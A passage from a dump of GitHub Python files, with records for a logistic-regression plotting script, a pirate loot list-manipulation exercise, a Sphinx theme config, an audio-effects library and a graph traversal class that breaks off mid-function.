***************************************\nprint(\"\\n\")\nprint(error_arr_nr_deg)\nprint(error_arr_gd_deg)\n\nmax_accuracy_nr = 2\nmax_acciracy_gd = 2\nfor i in range(len(error_arr_nr_deg)):\n\tif (error_arr_nr_deg[max_accuracy_nr-2] < error_arr_nr_deg[i]):\n\t\tmax_accuracy_nr = i+2\n\tif (error_arr_gd_deg[max_acciracy_gd-2] < error_arr_gd_deg[i]):\n\t\tmax_acciracy_gd = i+2\nprint(max_accuracy_nr,max_accuracy_nr)\n\n\n# ***************************\n# Dataset Plot\ntmp_arr = convertMat(data_arr)\narr1 = []\narr2 = []\narr3 = []\narr4 = []\n \nfor i in range(len(tmp_arr[0])):\n\tif (output_arr[i] == 1):\n\t\tarr1.append(tmp_arr[0][i])\n\t\tarr2.append(tmp_arr[1][i])\n\telse :\n\t\tarr3.append(tmp_arr[0][i])\n\t\tarr4.append(tmp_arr[1][i])\n\nfig, ax = plt.subplots()\nax.yaxis.grid(True)\nax.set_axisbelow(True)\n\t\t\nax.minorticks_on()\nax.tick_params(axis='x',which='minor',bottom='off')\nax.yaxis.grid(True)\nax.set_axisbelow(True)\nax.scatter(arr1,arr2,label = \"Issued\", marker = \"o\")\nax.scatter(arr3,arr4,label = \"Rejected\",marker = \"^\")\nax.set_xlabel(\"Attribute 1\",fontsize=15)\nax.set_ylabel(\"Attribute 2\",fontsize=15)\nax.legend(loc=\"best\")\nax.set_title('Dataset ',fontweight= 'bold',fontsize=15)\nplt.tight_layout()\nplt.savefig(\"logistic_regression_dataser\"+\".pdf\", bbox_inches='tight')\n\n# **********Error vs Lambda**********\n\nfig, ax = plt.subplots()\nax.yaxis.grid(True)\nax.set_axisbelow(True)\n\t\t\nax.minorticks_on()\nax.tick_params(axis='x',which='minor',bottom='off')\nax.yaxis.grid(True)\nax.set_axisbelow(True)\nax.plot(lambda_Arr,error_vs_lamba_arr_gd,label = \"Gradient Descent\",color = 'C1')\nax.plot(lambda_Arr,error_vs_lamba_arr_nr,label = \"Newton Rapson\",color = 'C2')\nax.set_xlabel(r\"$\\lambda$\",fontsize=15)\nax.set_ylabel(\"Error\",fontsize=15)\nax.set_title('Error vs Lambda',fontweight= 'bold',fontsize=15)\n\nax.legend(loc=\"best\")\nplt.tight_layout()\nplt.savefig(\"nr_vs_gd_on_lambda\"+\".pdf\", bbox_inches='tight')\n# plt.show()\n\n\n# **********Error vs Number of Itterations************\nfig, ax = plt.subplots()\nax.yaxis.grid(True)\nax.set_axisbelow(True)\n\t\t\nax.minorticks_on()\nax.tick_params(axis='x',which='minor',bottom='off')\nax.yaxis.grid(True)\nax.set_axisbelow(True)\nax.plot(num_itter_arr, error_arr_gd, label = \"Gradient Descent\",color = 'C1')\nax.plot(num_itter_arr, error_arr_nr, label = \"Newton Rapson\",color = 'C2')\nax.set_xlabel(r\"Number of itteration\",fontsize=15)\nax.set_ylabel(\"Error\",fontsize=15)\nax.set_title('Error vs Number of Itterations',fontweight= 'bold',fontsize=15)\nax.legend(loc=\"best\")\n\nplt.tight_layout()\nplt.savefig(\"nr_vs_gd_on_numItter\"+\".pdf\", bbox_inches='tight')\n# plt.show()\n\n# **********Error vs Degree of polynomial************\nfig, ax = plt.subplots()\nax.yaxis.grid(True)\nax.set_axisbelow(True)\n\t\t\nax.minorticks_on()\nax.tick_params(axis='x',which='minor',bottom='off')\nax.yaxis.grid(True)\nax.set_axisbelow(True)\nax.plot(degree_arr,error_arr_gd_deg,label = \"Gradient Descent\",color = 'C1')\nax.plot(degree_arr,error_arr_nr_deg,label = \"Newton Rapson\",color = 'C2')\nax.set_xlabel(r\"Degree\",fontsize=15)\nax.set_ylabel(\"Error\",fontsize=15)\nax.legend(loc=\"best\")\nax.set_title('Error vs Degree of Polynimial',fontweight= 'bold',fontsize=15)\nplt.tight_layout()\nplt.savefig(\"nr_vs_gd_on_degree\"+\".pdf\", bbox_inches='tight')\n# plt.show()\n\n\n# **********accuracy vs Degree of polynomial************\nfig, ax = plt.subplots()\nax.yaxis.grid(True)\nax.set_axisbelow(True)\n\t\t\nax.minorticks_on()\nax.tick_params(axis='x',which='minor',bottom='off')\nax.yaxis.grid(True)\nax.set_axisbelow(True)\nax.plot(degree_arr,error_arr_gd_deg_acc,label = \"Gradient Descent\",color = 'C1')\nax.plot(degree_arr,error_arr_nr_deg_acc,label = \"Newton Rapson\",color = 'C2')\nax.set_xlabel(r\"Degree\",fontsize=15)\nax.set_ylabel(\"Accuracy\",fontsize=15)\nax.legend(loc=\"best\")\nax.set_title('Error vs Degree of Polynimial',fontweight= 'bold',fontsize=15)\nplt.tight_layout()\nplt.savefig(\"nr_vs_gd_on_degree_Acc\"+\".pdf\", bbox_inches='tight')\n# plt.show()\n\n\n# *********Error vs Degree 4 Polynomial*************\nfig, ax = plt.subplots()\nax.yaxis.grid(True)\nax.set_axisbelow(True)\n\t\t\nax.minorticks_on()\nax.tick_params(axis='x',which='minor',bottom='off')\nax.yaxis.grid(True)\nax.set_axisbelow(True)\nax.plot(lambda_Arr,error_arr_gd_4_lambda,label = \"Gradient Descent\",color = 'C1')\nax.plot(lambda_Arr,error_arr_nr_4_lambda,label = \"Newton Rapson\",color = 'C2')\nax.set_xlabel(r\"$\\lambda$\",fontsize=15)\nax.set_ylabel(\"Error\",fontsize=15)\nax.legend(loc=\"best\")\nax.set_title(r'Error vs $4^{th}$ Degree polynomial',fontweight= 'bold',fontsize=15)\nplt.tight_layout()\nplt.savefig(\"nr_vs_gd_on_4degree_lambda\"+\".pdf\", bbox_inches='tight')\n# plt.show()\n\n# =================================\n\n\nprint_arr(w_arr_nr)\n\n\nfor k in range(len(1)):\n\tx_min, x_max = 0 , 6\n\ty_min, y_max = 0 , 6\n\txx, yy = np.meshgrid(np.arange(x_min, x_max, 0.2), np.arange(y_min, y_max, 0.2))\n\t# print(\"\\n\\n\")\n\t# print(xx)\n\t# print(yy)\n\tz = np.zeros(shape=np.shape(xx), dtype=float)\n\tfig, ax = plt.subplots()\n\tax.yaxis.grid(True)\n\tax.set_axisbelow(True)\n\t\t\t\n\tax.minorticks_on()\n\tax.tick_params(axis='x',which='minor',bottom='off')\n\tax.yaxis.grid(True)\n\tax.set_axisbelow(True)\n\tax.scatter(arr1,arr2,label = \"Issued\", marker = \"o\")\n\tax.scatter(arr3,arr4,label = \"Rejected\",marker = \"^\")\n\tax.set_xlabel(\"Attribute 1\",fontsize=15)\n\tax.set_ylabel(\"Attribute 2\",fontsize=15)\n\tax.legend(loc=\"best\")\n\tax.set_title('Dataset ',fontweight= 'bold',fontsize=15)\n\tfor i in range(np.shape(xx)[0]):\n\t for j in range(np.shape(xx)[1]):\n\n\t mat = featuretransform([[1, xx[i][j], yy[i][j] ]], degree_arr[k])\n\t mat = np.asarray(mat)\n\t res = mat.dot(w_arr_nr[k])\n\n\t z[i][j] = res[0]\n\n\tplt.contour(xx,yy,z, 0)\n\tplt.savefig(\"1stdegree_polynomial\" + str(k+1))\n\nplt.show()","repo_name":"Singh-Rishabh/Predict-the-age-of-Abalone-using-Regression","sub_path":"logistic.py","file_name":"logistic.py","file_ext":"py","file_size_in_byte":19030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10615179633","text":"def loot(current_list, item_list):\n for item in item_list:\n if item not in current_list:\n current_list.insert(0, item)\n return current_list\n\n\ndef drop(current_list, ind):\n if 0 <= ind < len(current_list):\n ch = current_list.pop(ind)\n current_list.append(ch)\n return current_list\n\n\ndef steal(current_list, counter):\n stolen_items = []\n while len(current_list) > 0:\n counter -= 1\n ch = current_list.pop(-1)\n stolen_items.append(ch)\n if counter == 0:\n break\n print(*stolen_items[::-1], sep=\", \")\n return current_list\n\n\ninitial_loot = input().split(\"|\")\n\ncommand = input()\n\nwhile command != \"Yohoho!\":\n current_command = command.split(\" \")\n\n if current_command[0] == \"Loot\":\n rest_items = current_command[1::]\n initial_loot = loot(initial_loot, rest_items)\n elif current_command[0] == \"Drop\":\n needed_index = int(current_command[1])\n initial_loot = drop(initial_loot, needed_index)\n elif current_command[0] == \"Steal\":\n count = int(current_command[1])\n initial_loot = steal(initial_loot, count)\n\n command = input()\n\nif initial_loot:\n print(f\"Average treasure gain: {sum([len(ch) for ch in initial_loot]) / len(initial_loot):.2f} pirate credits.\")\nelse:\n print(\"Failed treasure hunt.\")\n","repo_name":"AlexanderBedrosyan/Programming-Fundamentals-with-Python","sub_path":"06. Programming Fundamentals Mid Exam Retake/treasure_hunt_2.py","file_name":"treasure_hunt_2.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"22357500386","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport itcase_sphinx_theme\n\n# -- General configuration ------------------------------------------------\n\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = [\n 'sphinx.ext.autodoc',\n 'sphinx.ext.doctest',\n 'sphinx.ext.todo',\n 'sphinx.ext.imgmath',\n 'itcase_sphinx_theme'\n]\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'itcase-sphinx-theme-example'\ncopyright = '2017, ITCase'\nauthor = 'ITCase'\n\n# The short X.Y version.\nversion = ''\n# The full version, including alpha/beta/rc tags.\nrelease = ''\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This patterns also effect to html_static_path and html_extra_path\nexclude_patterns = ['_build']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = True\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = 'itcase'\nhtml_theme_path = [itcase_sphinx_theme.get_html_themes_path()]\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#\n# html_theme_options = {}\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Custom sidebar templates, must be a dictionary that maps document names\n# to template names.\n#\n# This is required for the alabaster theme\n# refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars\nhtml_sidebars = {\n '**': [\n 'about.html',\n 'navigation.html',\n 'relations.html', # needs 'show_related': True theme option to display\n 'searchbox.html',\n 'donate.html',\n ]\n}\n\n\n# -- Options for HTMLHelp output ------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'itcase-pagesdoc'\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n (master_doc, 'itcase-pages', 'itcase-pages Documentation',\n [author], 1)\n]\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n# dir menu entry, description, category)\ntexinfo_documents = [\n (master_doc, 'itcase-pages', 'itcase-pages Documentation',\n author, 'itcase-pages', 'One line description of project.',\n 'Miscellaneous'),\n]\n\n\n\n","repo_name":"ITCase/itcase_sphinx_theme","sub_path":"example/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"73049984467","text":"\"\"\" The module of audio effects \"\"\"\n\nimport typing\n\nimport numpy\nimport scipy.interpolate\n\nfrom gensound.sound import Sound\nfrom gensound.exceptions import *\n\n\nclass Effect:\n \"\"\" Base class of sound effect \"\"\"\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling\n effect.\n\n :return: A :class:`Sound` instance that applied\n effect.\n\n\n You can use shift operator as apply() like a streaming operator of C++.\n\n >>> effect = LinearFadeIn()\n >>> sound = Sound.from_sinwave(440)\n >>> effect.apply(sound) == (effect << sound) == (sound >> effect)\n True\n \"\"\"\n\n raise NotImplementedError()\n\n def __lshift__(self, x: typing.Union[Sound, 'Effect']) \\\n -> typing.Union[Sound, 'Effect']:\n\n \"\"\" Apply effect to sound or join effects\n\n This method is alias of :func:`apply()` and\n :func:`then()`.\n \"\"\"\n\n if isinstance(x, Sound):\n return self.apply(x)\n elif isinstance(x, Effect):\n return x.then(self)\n else:\n raise TypeError(\n 'right operand must be Sound or Effect instance but got {}'\n .format(type(x).__name__),\n )\n\n def __rshift__(self, x: 'Effect') -> 'Effect':\n \"\"\" Join effects\n\n This method is alias of :func:`then()`.\n \"\"\"\n\n if isinstance(x, Effect):\n return self.then(x)\n else:\n raise TypeError(\n 'left operand must be Sound or Effect instance but got {}'\n .format(type(x).__name__),\n )\n\n def __rrshift__(self, x: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n This method is alias of :func:`apply()`.\n \"\"\"\n\n if isinstance(x, Sound):\n return self.apply(x)\n else:\n raise TypeError(\n 'left operand must be Sound or Effect instance but got {}'\n .format(type(x).__name__),\n )\n\n def then(self, effect: 'Effect') -> 'Effect':\n \"\"\" Join effect\n\n :effect: Effect that will apply after this effect.\n\n :return: Joined effect.\n\n\n >>> in_ = LinearFadeIn()\n >>> out = LinearFadeOut()\n >>> sound = Sound.from_sinwave(440)\n\n >>> out.apply(in_.apply(sound)) == in_.then(out).apply(sound)\n True\n\n\n You can use shift operator as then() like a streaming operator of C++.\n\n >>> sound >> in_ >> out == in_.then(out).apply(sound)\n True\n \"\"\"\n\n return JoinedEffect(self, effect)\n\n\nclass JoinedEffect(Effect):\n \"\"\" Joined multiple effects\n\n :param effects: Effect instances to joint.\n\n :exception ValueError: If effects not given.\n\n\n >>> in_ = LinearFadeIn()\n >>> out = LinearFadeOut()\n >>> sound = Sound.from_sinwave(440)\n\n >>> out.apply(in_.apply(sound)) == JoinedEffect(in_, out).apply(sound)\n True\n\n >>> out.apply(in_.apply(sound)) == in_.then(out).apply(sound)\n True\n\n >>> out << in_ << sound == JoinedEffect(in_, out).apply(sound)\n True\n \"\"\"\n\n def __init__(self, *effects: Effect) -> None:\n if len(effects) <= 0:\n raise ValueError('effects must give least one element')\n\n self.effects = effects\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply all effects\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied all effects.\n \"\"\"\n\n for e in self.effects:\n sound = e.apply(sound)\n\n return sound\n\n\nclass MaskEffect(Effect):\n \"\"\" Masking effect\n\n :param duration: Duration in seconds of mask. Mathing to sound duration if\n None.\n \"\"\"\n\n def __init__(self, duration: typing.Optional[float] = None) -> None:\n self.duration = duration\n\n def gen_mask(self, length: int) -> numpy.array:\n \"\"\" Generate mask\n\n :param length: Length of mask array.\n\n :return: Mask value.\n \"\"\"\n\n raise NotImplementedError()\n\n\nclass MaskStartEffect(MaskEffect):\n \"\"\" Effect that masking start of sound \"\"\"\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n length = len(sound.data)\n if self.duration is not None:\n length = int(numpy.round(self.duration * sound.samplerate))\n\n mask = self.gen_mask(length)\n\n if len(mask.shape) == 1:\n mask = mask.reshape([-1, 1]).repeat(sound.n_channels, axis=1)\n\n return Sound(numpy.vstack([sound.data[:length] * mask[:length],\n sound.data[length:]]),\n sound.samplerate)\n\n\nclass MaskEndEffect(MaskEffect):\n \"\"\" Effect that masking end of sound \"\"\"\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n length = sound.data.shape[0]\n if self.duration is not None:\n length = int(numpy.round(self.duration * sound.samplerate))\n\n offset = max(0, length - sound.data.shape[0])\n mask = self.gen_mask(length)[offset:]\n\n if len(mask.shape) == 1:\n mask = mask.reshape([-1, 1]).repeat(sound.n_channels, axis=1)\n\n return Sound(numpy.vstack([sound.data[:-length],\n sound.data[-length:] * mask]),\n sound.samplerate)\n\n\nclass LinearFadeIn(MaskStartEffect):\n \"\"\" Linear fade-in effect\n\n :param duration: Duration in seconds of mask. Mathing to sound duration if\n None.\n\n\n >>> s = Sound.from_array([1, 1, 1, 1, 1], 1)\n >>> (LinearFadeIn().apply(s)\n ... == Sound.from_array([0.0, 0.25, 0.5, 0.75, 1.0], 1))\n True\n >>> (LinearFadeIn(duration=3).apply(s)\n ... == Sound.from_array([0.0, 0.5, 1.0, 1.0, 1.0], 1))\n True\n \"\"\"\n\n def gen_mask(self, length: int) -> numpy.array:\n return numpy.arange(length) / (length - 1)\n\n\nclass LinearFadeOut(MaskEndEffect):\n \"\"\" Linear fade-out effect\n\n :param duration: Duration in seconds of mask. Mathing to sound duration if\n None.\n\n\n >>> s = Sound.from_array([1, 1, 1, 1, 1], 1)\n >>> (LinearFadeOut().apply(s)\n ... == Sound.from_array([1.0, 0.75, 0.5, 0.25, 0.0], 1))\n True\n >>> (LinearFadeOut(duration=3).apply(s)\n ... == Sound.from_array([1.0, 1.0, 1.0, 0.5, 0.0], 1))\n True\n \"\"\"\n\n def gen_mask(self, length: int) -> numpy.array:\n return 1.0 - numpy.arange(length) / (length - 1)\n\n\nclass LowPassFilter(Effect):\n \"\"\" Low pass filter\n\n :param freq: A threshold frequency.\n \"\"\"\n\n def __init__(self, freq: float) -> None:\n self.freq = freq\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n f = sound.fft()\n f[f[:, :, 0] > self.freq, 1] = 0\n return Sound.from_fft(f, sound.samplerate)\n\n\nclass HighPassFilter(Effect):\n \"\"\" High pass filter\n\n :param freq: A threshold frequency.\n \"\"\"\n\n def __init__(self, freq: float) -> None:\n self.freq = freq\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n f = sound.fft()\n f[f[:, :, 0] < self.freq, 1] = 0\n return Sound.from_fft(f, sound.samplerate)\n\n\nclass Resampling(Effect):\n \"\"\" Resampling effect\n\n :param samplerate: New sampling rate.\n :param kind: The way to interpolating data. Please see document of\n scipy.interpolate.interp1d.\n\n\n Change sampling rate without changes sound duration.\n\n If the sampling rate of passed sound is same as target sampling rate, will\n return the same instance without re-sampling process.\n\n\n This example does resampling from 44100 Hz to 88200 Hz.\n\n >>> original = Sound.from_sinwave(440, duration=1, samplerate=44100)\n >>> original.samplerate\n 44100\n >>> abs(original.duration - 1) < 0.01\n True\n\n >>> resampled = Resampling(88200).apply(original)\n >>> resampled.samplerate\n 88200\n >>> abs(resampled.duration - 1) < 0.01\n True\n \"\"\"\n\n def __init__(self, samplerate: float, kind: str = 'cubic') -> None:\n assert 0 < samplerate\n\n self.samplerate = samplerate\n self.kind = kind\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n if sound.samplerate == self.samplerate:\n return sound\n\n length = sound.data.shape[0]\n in_space = numpy.linspace(0, 1, length)\n out_space = numpy.linspace(\n 0,\n 1,\n int(numpy.round(length * self.samplerate / sound.samplerate)),\n )\n\n result = numpy.array([\n scipy.interpolate.interp1d(numpy.linspace(0, 1, length),\n sound.data[:, channel],\n kind=self.kind)(out_space)\n for channel in range(sound.n_channels)\n ]).T\n\n return Sound(result, self.samplerate)\n\n\nclass ChangeSpeed(Effect):\n \"\"\" Change sound speed effect\n\n :param speed_rate: Speed rate of new sound. 1.0 means don't change speed.\n :param kind: The way to interpolating data. Please see document of\n scipy.interpolate.interp1d.\n\n\n Change sound duration without changes sampling rate.\n\n\n >>> original = Sound.from_sinwave(440, duration=1, smooth_end=False)\n >>> original.duration == 1.0\n True\n\n This example changes duration from 1sec to 2sec.\n\n >>> slow = ChangeSpeed(2).apply(original)\n >>> slow.duration == 0.5\n True\n\n And, changes duration to 0.5sec.\n\n >>> fast = ChangeSpeed(0.5).apply(original)\n >>> fast.duration == 2.0\n True\n\n Automatically use ReversePlay if speed_rate was lower than 0.\n >>> ChangeSpeed(-1).apply(original) == ReversePlay().apply(original)\n True\n\n Sampling rate will not be changed.\n\n >>> original.samplerate == slow.samplerate\n True\n >>> original.samplerate == fast.samplerate\n True\n \"\"\"\n\n def __init__(self, speed_rate: float, kind: str = 'cubic') -> None:\n if speed_rate == 0:\n raise ValueError('speed_rate must not 0')\n\n self.speed_rate = speed_rate\n self.kind = kind\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n if self.speed_rate < 0:\n sound = ReversePlay().apply(sound)\n\n resampler = Resampling(sound.samplerate / abs(self.speed_rate))\n\n return Sound(resampler.apply(sound).data, sound.samplerate)\n\n\nclass ChangeVolume(Effect):\n \"\"\" Change volume effect\n\n :param new_volume: New target volume.\n\n :exception InvalidVolumeError: Volume was lower than 0 or higher than 1.\n\n\n This volume means the maximum value of the wave.\n Please be careful that is not gain.\n\n >>> sound = Sound.from_sinwave(440, volume=1.0)\n\n >>> 0.999 <= sound.data.max() <= 1.0\n True\n >>> -0.999 >= sound.data.min() >= -1.0\n True\n\n >>> half = ChangeVolume(0.5).apply(sound)\n >>> 0.499 <= half.volume <= 0.501\n True\n\n\n This effect will return the same instance if given sound had the same\n volume as the target volume.\n \"\"\"\n\n def __init__(self, new_volume: float) -> None:\n if new_volume < 0.0 or 1.0 < new_volume:\n raise InvalidVolumeError(new_volume)\n\n self.volume = new_volume\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A :class:`Sound` instance that applied effect.\n \"\"\"\n\n if sound.volume == self.volume:\n return sound\n\n return Sound(sound.data * (self.volume / sound.volume),\n sound.samplerate)\n\n\nclass ReversePlay(Effect):\n \"\"\" Reverse play effect \"\"\"\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n return Sound(sound.data[::-1], sound.samplerate)\n\n\nclass Trim(Effect):\n \"\"\" Trim sound\n\n :param start: The start position of trimming in seconds.\n If None, won't trim start side. Default is None.\n :param end: The end position of trimming in seconds.\n If None, won't trim end side. Default is None.\n\n :exception InvalidDurationError: If start was same or greater than end.\n\n\n This is alias of\n :func:`Sound.__getitem__`.\n\n >>> sound = Sound.from_sinwave(440)\n\n >>> Trim(end=0.5).apply(sound) == sound[:0.5]\n True\n >>> Trim(start=0.5).apply(sound) == sound[0.5:]\n True\n >>> Trim(start=0.3, end=0.7).apply(sound) == sound[0.3: 0.7]\n True\n \"\"\"\n\n def __init__(self,\n start: typing.Optional[float] = None,\n end: typing.Optional[float] = None) -> None:\n\n self.start = start\n self.end = end\n\n if start is not None and end is not None and start >= end:\n raise InvalidDurationError(end - start)\n\n def apply(self, sound: Sound) -> Sound:\n \"\"\" Apply effect to sound\n\n :param sound: :class:`Sound` instance to appling effect.\n\n :return: A new :class:`Sound` instance that applied effect.\n \"\"\"\n\n return sound[self.start: self.end]\n","repo_name":"macrat/PyGenSound","sub_path":"gensound/effect.py","file_name":"effect.py","file_ext":"py","file_size_in_byte":14372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31142462037","text":"\"\"\"\nSimple graph implementation\n\"\"\"\nfrom util import Stack, Queue # These may come in handy\n\n# Part 1: Graph Class\nclass Graph:\n\n \"\"\"Represent a graph as a dictionary of vertices mapping labels to edges.\"\"\"\n def __init__(self):\n # create a dictionary(hastable) to hold the vertices of the graph\n # adjacent lists {}\n # adjacent matrix []\n self.vertices = {}\n\n def add_vertex(self, vertex_id):\n \"\"\"\n Add a vertex to the graph.\n \"\"\"\n # create an empty set to hold the vertices\n self.vertices[vertex_id] = set()\n\n def add_edge(self, v1, v2):\n \"\"\"\n Add a directed edge to the graph.\n \"\"\"\n # add an edge value to the set in each vertex\n self.vertices[v1].add(v2)\n\n def get_neighbors(self, vertex_id):\n \"\"\"\n Get all neighbors (edges) of a vertex.\n \"\"\"\n # function to calculate all edges of a vertex\n return self.vertices[vertex_id]\n\n # Part II: Implement Breadth-First Traversal\n def bft(self, starting_vertex):\n \"\"\"\n Print each vertex in breadth-first order\n beginning from starting_vertex.\n \"\"\"\n # create a queue (BFT requires a queue)\n q = Queue()\n # enqueue the starting index\n q.enqueue(starting_vertex)\n # create a blank set to hold the nodes that have been visited\n visited = set()\n\n # run a loop while the queue still has items\n while q.size() > 0:\n # dequeue the first item and store it in a variable\n v = q.dequeue()\n\n # check if the node has already been visited or not\n if v not in visited:\n # if not, print it and\n print(v)\n visited.add(v)\n\n for next_vert in self.get_neighbors(v):\n # enqueue new vertices for all the neighbors\n q.enqueue(next_vert)\n\n # Part 3: Implement Depth-First Traversal with a Stack\n def dft(self, starting_vertex):\n \"\"\"\n Print each vertex in depth-first order\n beginning from starting_vertex.\n \"\"\" \n # create a stack (DFT requires a stack)\n s = Stack()\n # push the starting index \n s.push(starting_vertex)\n # create a blank set to hold the nodes that have been visited\n visited = set()\n\n # run a loop while the stack still has items\n while s.size() > 0:\n\n # pop the first item and store it in a variable\n v = s.pop()\n\n # check if the node has already been visited or not\n if v not in visited:\n # if not, print it and continue\n print(v)\n # add it ot the set\n visited.add(v)\n\n for next_vert in self.get_neighbors(v):\n # push new vertices for all the neighbors\n s.push(next_vert)\n\n # Part 4: Implement Depth-First Traversal using Recursion\n def dft_recursive(self, starting_vertex, visited = None):\n \"\"\"\n Print each vertex in depth-first order\n beginning from starting_vertex.\n\n This should be done using recursion.\n \"\"\"\n '''\n # Base case:\n # Progress toward the case \n # call itself\n '''\n # base case:\n # if visited doesn't exits\n if not visited:\n # create a new set\n visited = set()\n # and add the starting vertex\n visited.add(starting_vertex)\n print(starting_vertex)\n\n # loop through all the vertices,\n for vert in self.vertices[starting_vertex]:\n # and if it hasn't been visited,\n if vert not in visited:\n # recursively call DFT\n self.dft_recursive(vert, visited)\n \n # Part 5: Implement Breadth-First Search\n def bfs(self, starting_vertex, destination_vertex):\n \"\"\"\n Return a list containing the shortest path from\n starting_vertex to destination_vertex in\n breath-first order.\n \"\"\"\n # create a queue (BFS requires a queue)\n # and enqueue the starting vertex in a list (to keep track of the traveled path)\n # create a visited set to keep track of visited nodes\n q = Queue()\n q.enqueue([starting_vertex])\n visited = set()\n\n # while the queue still has items\n while q.size() > 0:\n # grab the first item in the queue\n path = q.dequeue()\n # and grab the vertex from the last index in the path\n vert = path[-1]\n\n # if the vertex hasn't been visited\n if vert not in visited:\n\n # if the vertex equals our destination value,\n # return the path, we have our answer\n if vert == destination_vertex:\n return path\n\n # else add the vertex to visited\n visited.add(vert)\n\n # loop through all remaining neighbors and\n # create a copy of the path,\n # append the new vertex for all neighbors to the path,\n # and enqueue the new paths\n for next_vert in self.get_neighbors(vert):\n path_copy = list(path)\n path_copy.append(next_vert)\n q.enqueue(path_copy)\n\n # if we get here, there was no path from start to destination\n return None\n '''\n ### https://github.com/LambdaSchool/Graphs/tree/master/objectives/breadth-first-search\n\n starting_vertex = 1\n ==> start\n q = Queue()\n visited = set(1)\n\n current_node = 1\n \n neighbors = set(2)\n '''\n\n # Part 6: Implement Depth-First Search\n def dfs(self, starting_vertex, destination_vertex):\n \"\"\"\n Return a list containing a path from\n starting_vertex to destination_vertex in\n depth-first order.\n \"\"\"\n # create a Stack (DFS requires a stack)\n # and push the starting vertex in a list (to keep track of the traveled path)\n # create a visited set to keep track of visited nodes\n s = Stack()\n s.push([starting_vertex])\n visited = set()\n\n # while the stack still has items\n while s.size() > 0:\n # grab the first item in the stack\n path = s.pop()\n # and grab the vertex from the last index in the path\n vert = path[-1]\n\n # if the vertex hasn't been visited\n if vert not in visited:\n\n # if the vertex equals our destination value,\n # return the path, we have our answer\n if vert == destination_vertex:\n return path\n\n # else add the vertex to visited\n visited.add(vert)\n\n # loop through all remaining neighbors and\n # create a copy of the path,\n # append the new vertex for all neighbors to the path,\n # and push the new paths\n for next_vert in self.get_neighbors(vert):\n path_copy = list(path)\n path_copy.append(next_vert)\n s.push(path_copy)\n '''\n https://raw.githubusercontent.com/LambdaSchool/Graphs/master/objectives/breadth-first-search/img/bfs-visit-order.png\n\n s = Stack(\n 1\n )\n\n visited = set(1,2)\n\n current_node = 2\n neighbors = set(2)\n '''\n\n # Part 7: Implement Depth-First Search using Recursion\n def dfs_recursive(self, starting_vertex, destination_vertex, visited = None, path = None):\n \"\"\"\n Return a list containing a path from\n starting_vertex to destination_vertex in\n depth-first order.\n\n This should be done using recursion.\n \"\"\"\n # base case\n # if the visited set and the path list are None\n # create new versions,\n # else use the versions passed in as parameters\n if not visited:\n visited = set()\n if not path:\n path = []\n\n # add the starting vertex to the visited set,\n # and add the vertex passed in to any vertices already in the list\n visited.add(starting_vertex)\n path = path + [starting_vertex]\n\n # if the starting vertex 